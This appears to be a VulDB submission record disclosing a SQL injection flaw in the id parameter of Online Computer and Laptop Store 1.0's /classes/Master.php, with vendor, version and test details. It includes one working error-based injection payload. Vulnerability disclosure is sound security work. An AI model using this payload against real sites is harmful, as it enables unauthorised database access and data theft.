| Title | Online Computer and Laptop Store SQL injection vulnerability in ./classes/Master.php |
|---|
| Description | Exploit Title: Online Computer and Laptop Store SQL injection vulnerability in ./classes/Master.php
Date: 2023-05/11
Exploit Author: [email protected]
Vendor Homepage: https://www.sourcecodester.com
Software Link: https://www.sourcecodester.com/download-code?nid=16397&title=Online+Computer+and+Laptop+Store+using+PHP+and+MySQL+Source+Code+Free+Download
Version: 1.0
Tested on: macOs 13.3.1 (a) + phpstudy
Vulnerability points：id=' AND GTID_SUBSET(CONCAT(0x717a6a7071,(SELECT (ELT(3659=3659,1))),0x71707a7071),3659)-- Hjjr
Details link：https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Online-Computer-and-Laptop-Store---Multiple-vulnerabilities.md#5sql-injection-vulnerability-in-classesmasterphp |
|---|
| Source | ⚠️ https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Online-Computer-and-Laptop-Store---Multiple-vulnerabilities.md#5sql-injection-vulnerability-in-classesmasterphp |
|---|
| User | webray.com.cn (UID 24778) |
|---|
| Submission | 05/11/2023 11:16 (3 years ago) |
|---|
| Moderation | 05/11/2023 15:02 (4 hours later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 228803 [SourceCodester Online Computer and Laptop Store 1.0 /classes/Master.php ID sql injection] |
|---|
| Points | 20 |
|---|